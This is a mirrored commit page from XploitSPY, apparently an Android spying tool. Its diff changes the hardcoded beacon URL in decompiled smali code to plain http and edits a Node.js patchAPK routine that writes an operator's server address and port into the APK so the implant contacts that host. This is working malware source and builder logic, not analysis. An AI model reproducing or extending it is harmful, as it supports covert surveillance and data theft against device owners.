mirror of
https://github.com/XploitWizer-Community/XploitSPY.git
synced 2024-12-28 00:25:30 +08:00
Fixed http bug
This commit is contained in:
parent
e547789d37
commit
ece0555612
@ -19,7 +19,7 @@
|
||||
<option name="ALLOW_USER_CONFIGURATION" value="false" />
|
||||
<option name="MANIFEST_FILE_RELATIVE_PATH" value="/src/main/AndroidManifest.xml" />
|
||||
<option name="RES_FOLDER_RELATIVE_PATH" value="/src/main/res" />
|
||||
<option name="RES_FOLDERS_RELATIVE_PATH" value="file://$MODULE_DIR$/src/main/res;file://$MODULE_DIR$/build/generated/res/resValues/debug" />
|
||||
<option name="RES_FOLDERS_RELATIVE_PATH" value="file://$MODULE_DIR$/src/main/res" />
|
||||
<option name="TEST_RES_FOLDERS_RELATIVE_PATH" value="" />
|
||||
<option name="ASSETS_FOLDER_RELATIVE_PATH" value="/src/main/assets" />
|
||||
</configuration>
|
||||
|
@ -64,7 +64,7 @@
|
||||
|
||||
invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
|
||||
|
||||
const-string v2, "https://xwizer.herokuapp.com:443?model="
|
||||
const-string v2, "http://xwizer.herokuapp.com:443?model="
|
||||
|
||||
invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
|
||||
|
||||
|
@ -23,7 +23,7 @@ function patchAPK(URI, PORT, cb) {
|
||||
if (PORT < 25565) {
|
||||
fs.readFile(CONST.patchFilePath, 'utf8', function (err, data) {
|
||||
if (err) return cb('File Patch Error - READ')
|
||||
var result = data.replace(data.substring(data.indexOf("https://"), data.indexOf("?model=")), "https://" + URI + ":" + PORT);
|
||||
var result = data.replace(data.substring(data.indexOf("http://"), data.indexOf("?model=")), "https://" + URI + ":" + PORT);
|
||||
fs.writeFile(CONST.patchFilePath, result, 'utf8', function (err) {
|
||||
if (err) return cb('File Patch Error - WRITE')
|
||||
else return cb(false)
|
||||
|
Loading…
Reference in New Issue
Block a user